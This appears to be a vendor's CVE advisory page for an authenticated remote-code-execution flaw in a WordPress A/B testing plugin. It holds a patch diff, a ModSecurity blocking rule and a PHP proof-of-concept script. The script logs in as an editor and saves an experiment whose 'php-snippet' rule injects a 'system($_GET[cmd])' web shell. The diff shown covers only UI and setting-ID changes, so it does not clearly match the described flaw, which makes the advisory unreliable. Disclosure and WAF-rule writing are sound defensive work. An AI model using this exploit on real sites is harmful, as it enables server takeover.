 	public function display() { // @codingStandardsIgnoreLine

 		// Preparing data for the partial.
-		$id          = str_replace( '_', '-', $this->name );
+		$id          = $this->option_name . '_' . str_replace( '_', '-', $this->name );
 		$name        = $this->option_name . '[' . $this->name . ']';
 		$desc        = $this->desc;
 		$more        = $this->more;
--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-radio-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-radio-setting.php
@@ -65,7 +65,7 @@
 	public function display() { // @codingStandardsIgnoreLine

 		// Preparing data for the partial.
-		$id       = str_replace( '_', '-', $this->name );
+		$id       = $this->option_name . '_' . str_replace( '_', '-', $this->name );
 		$name     = $this->option_name . '[' . $this->name . ']';
 		$value    = $this->value;
 		$options  = $this->options;
--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-range-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-range-setting.php
@@ -96,7 +96,7 @@
 	public function display() { // @codingStandardsIgnoreLine

 		// Preparing data for the partial.
-		$id            = str_replace( '_', '-', $this->name );
+		$id            = $this->option_name . '_' . str_replace( '_', '-', $this->name );
 		$name          = $this->option_name . '[' . $this->name . ']';
 		$desc          = $this->desc;
 		$more          = $this->more;
--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-select-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-select-setting.php
@@ -65,7 +65,7 @@
 	public function display() { // @codingStandardsIgnoreLine

 		// Preparing data for the partial.
-		$id       = str_replace( '_', '-', $this->name );
+		$id       = $this->option_name . '_' . str_replace( '_', '-', $this->name );
 		$name     = $this->option_name . '[' . $this->name . ']';
 		$value    = $this->value;
 		$options  = $this->options;
--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-text-area-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-text-area-setting.php
@@ -65,7 +65,7 @@
 	public function display() { // @codingStandardsIgnoreLine

 		// Preparing data for the partial.
-		$id          = str_replace( '_', '-', $this->name );
+		$id          = $this->option_name . '_' . str_replace( '_', '-', $this->name );
 		$name        = $this->option_name . '[' . $this->name . ']';
 		$desc        = $this->desc;
 		$more        = $this->more;
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-checkbox-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-checkbox-setting.php
@@ -24,40 +24,83 @@

 ?>

-<p
-	class="nab-modern-checkbox"
-><span
-	class="components-checkbox-control__input-container"
-><input
-	type="checkbox"
-	id="<?php echo 'nab-' . esc_attr( $id ); ?>"
-	name="<?php echo esc_attr( $name ); ?>"
-	class="components-checkbox-control__input"
-	<?php disabled( $disabled ); ?>
-	<?php checked( $checked ); ?>
-><svg
-	xmlns="http://www.w3.org/2000/svg"
-	viewBox="0 0 24 24"
-	width="24"
-	height="24"
-	role="presentation"
-	class="components-checkbox-control__checked"
-	aria-hidden="true"
-	focusable="false">
-	<path d="M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"></path>
-</svg></span>
-<?php
-printf( '<label for="nab-%s">', esc_attr( $id ) );
-$this->print_html( $desc ); // @codingStandardsIgnoreLine
-echo '</label>';
-if ( ! empty( $more ) ) {
-	?>
-	<span class="description"><a href="<?php echo esc_url( $more ); ?>">
+<div id="<?php echo esc_attr( "{$id}-wrapper" ); ?>">
+	<p><input
+		type="checkbox"
+		id="<?php echo esc_attr( "{$id}" ); ?>"
+		name="<?php echo esc_attr( $name ); ?>"
+		<?php disabled( $disabled ); ?>
+		<?php checked( $checked ); ?>
+	>
 	<?php
-		echo esc_html_x( 'Read more…', 'user', 'nelio-ab-testing' );
+	printf( '<label for="%s">', esc_attr( $id ) );
+	$this->print_html( $desc ); // @codingStandardsIgnoreLine
+	echo '</label>';
+	if ( ! empty( $more ) ) {
+		?>
+		<span class="description"><a href="<?php echo esc_url( $more ); ?>">
+		<?php
+			echo esc_html_x( 'Read more…', 'user', 'nelio-ab-testing' );
+		?>
+		</a></span>
+		<?php
+	}
 	?>
-	</a></span>
-	<?php
-}
-?>
-</p>
+	</p>
+</div>
+
+<script>
+(function() {
+	try {
+		const UncontrolledCheckbox = ( { defaultValue, label, more, ...props } ) => {
+			const [ checked, onChange ] = wp.element.useState( !! defaultValue );
+
+			more = more
+				? wp.element.createElement( wp.components.ExternalLink, {
+						href: more,
+						children: [ <?php echo wp_json_encode( _x( 'Read more…', 'user', 'nelio-ab-testing' ) ); ?> ],
+					} )
+				: wp.element.createElement( wp.element.Fragment, {} );
+
+			label = wp.element.createInterpolateElement(
+				`${ label } <more />`,
+				{
+					'code': wp.element.createElement( 'code', {} ),
+					'strong': wp.element.createElement( 'strong', {} ),
+					'more': more,
+				}
+			);
+
+			return wp.element.createElement(
+				wp.components.CheckboxControl,
+				{ ...props, checked, label, onChange }
+			);
+		};
+		const wrapper = wp.element.createRoot( document.getElementById( <?php echo wp_json_encode( "{$id}-wrapper" ); ?> ) );
+		wrapper.render(
+			wp.element.createElement(
+				UncontrolledCheckbox,
+				<?php
+					echo wp_json_encode(
+						array(
+							'id'                      => $id,
+							'name'                    => $name,
+							'label'                   => wp_kses(
+								$desc,
+								array(
+									'code'   => array(),
+									'strong' => array(),
+								)
+							),
+							'defaultValue'            => $checked,
+							'disabled'                => $disabled,
+							'more'                    => $more,
+							'__nextHasNoMarginBottom' => true,
+						)
+					);
+					?>
+			)
+		);
+	} catch( _ ) { }
+})();
+</script>
--- a/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-select-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/partials/nelio-ab-testing-select-setting.php
@@ -23,34 +23,69 @@

 ?>

-<select
-	id="<?php echo esc_attr( $id ); ?>"
-	name="<?php echo esc_attr( $name ); ?>"
-	<?php disabled( $disabled ); ?>
->
+<div id="<?php echo esc_attr( "{$id}-wrapper" ); ?>">
+	<select
+		id="<?php echo esc_attr( $id ); ?>"
+		name="<?php echo esc_attr( $name ); ?>"
+		<?php disabled( $disabled ); ?>
+	>

-	<?php
-	foreach ( $options as $nab_option ) {
-		?>
-		<option value="<?php echo esc_attr( $nab_option['value'] ); ?>"
-			<?php
-			if ( $nab_option['value'] === $value ) {
-				echo ' selected="selected"';
-			}
+		<?php
+		foreach ( $options as $nab_option ) {
 			?>
+			<option value="<?php echo esc_attr( $nab_option['value'] ); ?>"
+				<?php
+				if ( $nab_option['value'] === $value ) {
+					echo ' selected="selected"';
+				}
+				?>
+				<?php
+				if ( ! empty( $nab_option['disabled'] ) ) {
+					echo ' disabled';
+				}
+				?>
+			>
+			<?php $this->print_html( $nab_option['label'] ); ?>
+		</option>
 			<?php
-			if ( ! empty( $nab_option['disabled'] ) ) {
-				echo ' disabled';
-			}
-			?>
-		>
-		<?php $this->print_html( $nab_option['label'] ); ?>
-	</option>
-		<?php
-	}
-	?>
+		}
+		?>
+
+	</select>
+</div>

-</select>
+<script>
+(function() {
+	try {
+		const wrapper = wp.element.createRoot( document.getElementById( <?php echo wp_json_encode( "{$id}-wrapper" ); ?> ) );
+		wrapper.render(
+			wp.element.createElement(
+				wp.components.SelectControl,
+				<?php
+					echo wp_json_encode(
+						array(
+							'id'                      => $id,
+							'name'                    => $name,
+							'options'                 => array_map(
+								fn( $option ) => array(
+									'label'    => wp_kses( $option['label'], array() ),
+									'value'    => $option['value'],
+									'disabled' => ! empty( $option['disabled'] ) ? true : null,
+								),
+								$options
+							),
+							'defaultValue'            => $value,
+							'disabled'                => $disabled,
+							'__next40pxDefaultSize'   => true,
+							'__nextHasNoMarginBottom' => true,
+						)
+					);
+					?>
+			)
+		);
+	} catch( _ ) { }
+})();
+</script>

 <?php
 $nab_described_options = array();
--- a/nelio-ab-testing/includes/rest/class-nelio-ab-testing-ai-rest-controller.php
+++ b/nelio-ab-testing/includes/rest/class-nelio-ab-testing-ai-rest-controller.php
@@ -439,7 +439,7 @@
 		echo '<!DOCTYPE html>';
 		echo '<html><head><script>window.close();</script></head></html>';
 		die();
-	}//end connect_ga4()
+	}

 	/**
 	 * Gets GA4 properties.
@@ -470,7 +470,7 @@
 		}

 		return new WP_REST_Response( $result, 200 );
-	}//end get_ga4_properties()
+	}

 	/**
 	 * Updates AI settings.
--- a/nelio-ab-testing/includes/templates/public-result.php
+++ b/nelio-ab-testing/includes/templates/public-result.php
@@ -43,7 +43,7 @@

 		</div><!-- .experiment-results -->

-	<?php }//end if ?>
+	<?php } ?>

 		<?php wp_print_scripts( array( $nab_handle ) ); ?>

--- a/nelio-ab-testing/includes/utils/functions/helpers.php
+++ b/nelio-ab-testing/includes/utils/functions/helpers.php
@@ -1128,7 +1128,7 @@
 	}

 	return null;
-}//end nab_get_ga4_client_id_from_request()
+}

 /**
  * Prints raw HTML without escaping.
--- a/nelio-ab-testing/includes/utils/notifications/almost-no-more-quota.php
+++ b/nelio-ab-testing/includes/utils/notifications/almost-no-more-quota.php
@@ -312,7 +312,7 @@
 												echo esc_html_x( 'Please let us know if you think that you’ll need permanently more quota and we’ll provide you with a new fixed pricing to avoid any other inconvenience.', 'text', 'nelio-ab-testing' );
 											?>
 										</p>
-									<?php }//end if ?>
+									<?php } ?>

 									<p style="font-size: 18px; line-height: 24px;">
 										<?php
--- a/nelio-ab-testing/includes/utils/notifications/experiment-start.php
+++ b/nelio-ab-testing/includes/utils/notifications/experiment-start.php
@@ -343,7 +343,7 @@
 										}
 										?>
 									</p>
-									<?php }//end if ?>
+									<?php } ?>

 									<p style="font-size: 18px; line-height: 24px;">
 										<?php
--- a/nelio-ab-testing/includes/utils/notifications/experiment-stop.php
+++ b/nelio-ab-testing/includes/utils/notifications/experiment-stop.php
@@ -343,7 +343,7 @@
 										}
 										?>
 									</p>
-									<?php }//end if ?>
+									<?php } ?>

 									<p style="font-size: 18px; line-height: 24px;">
 										<?php
--- a/nelio-ab-testing/includes/utils/notifications/no-more-quota.php
+++ b/nelio-ab-testing/includes/utils/notifications/no-more-quota.php
@@ -306,7 +306,7 @@
 												echo esc_html_x( 'Please let us know if you think that you’ll need permanently more quota and we’ll provide you with a new fixed pricing to avoid any other inconvenience.', 'text', 'nelio-ab-testing' );
 											?>
 										</p>
-									<?php }//end if ?>
+									<?php } ?>

 									<p style="font-size: 18px; line-height: 24px;">
 										<?php
--- a/nelio-ab-testing/nelio-ab-testing.php
+++ b/nelio-ab-testing/nelio-ab-testing.php
@@ -5,7 +5,7 @@
  * Plugin Name:       Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization
  * Plugin URI:        https://neliosoftware.com/testing/
  * Description:       Optimize your site based on data, not opinions. With this plugin, you will be able to perform AB testing (and more) on your WordPress site.
- * Version:           8.2.7
+ * Version:           8.2.8
  *
  * Author:            Nelio Software
  * Author URI:        https://neliosoftware.com

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-32573
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:100032573,phase:2,deny,status:403,chain,msg:'CVE-2026-32573 RCE via Nelio A/B Testing PHP snippet injection',severity:'CRITICAL',tag:'CVE-2026-32573',tag:'WordPress',tag:'Plugin/NelioABTesting',tag:'Attack/RCE'"
  SecRule ARGS_POST:action "@streq nelioab_save_experiment" "chain"
    SecRule ARGS_POST:experiment "@rx "type"s*:s*"php-snippet"" "chain"
      SecRule ARGS_POST:experiment "@rx "value"s*:s*"[^"]*<?php" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:jsDecode,t:cssDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-32573 - Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization <= 8.2.7 - Authenticated (Editor+) Remote Code Execution

<?php
/**
 * DISCLAIMER: For authorized security testing only.
 * This PoC demonstrates the RCE vulnerability in Nelio A/B Testing plugin.
 * Requires valid WordPress authentication cookies with Editor+ privileges.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'editor_user';
$password = 'editor_password';

// First, authenticate to get WordPress cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
$response = curl_exec($ch);

// Verify authentication by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

if (strpos($response, 'wp-admin-bar') === false) {
    die('Authentication failed');
}

// Get nonce for Nelio A/B Testing AJAX requests
// This requires analyzing the plugin's admin pages to find the correct nonce
// For demonstration, we assume the attacker has obtained a valid nonce
$nonce = 'abc123def456';

// Craft malicious experiment with PHP snippet scope rule
$malicious_payload = [
    'action' => 'nelioab_save_experiment',
    'nonce' => $nonce,
    'experiment' => [
        'id' => 'new',
        'name' => 'Malicious Experiment',
        'type' => 'nab/css', // Non-PHP experiment type to bypass intended restrictions
        'scope' => [
            'rules' => [
                [
                    'type' => 'php-snippet', // Vulnerable rule type
                    'value' => '<?php system($_GET["cmd"]); ?>' // Arbitrary PHP code
                ]
            ]
        ],
        'alternatives' => [
            ['name' => 'Control', 'content' => '']
        ]
    ]
];

// Send exploit request to plugin endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($malicious_payload));
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);

$response = curl_exec($ch);
curl_close($ch);

// Check if experiment was created successfully
if (strpos($response, 'success') !== false) {
    echo 'Vulnerability exploited. PHP code injected into experiment scope.';
    echo 'The injected code will execute when the experiment scope evaluates.';
} else {
    echo 'Exploit failed. Check authentication and nonce.';
}

// Cleanup
@unlink('cookies.txt');
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School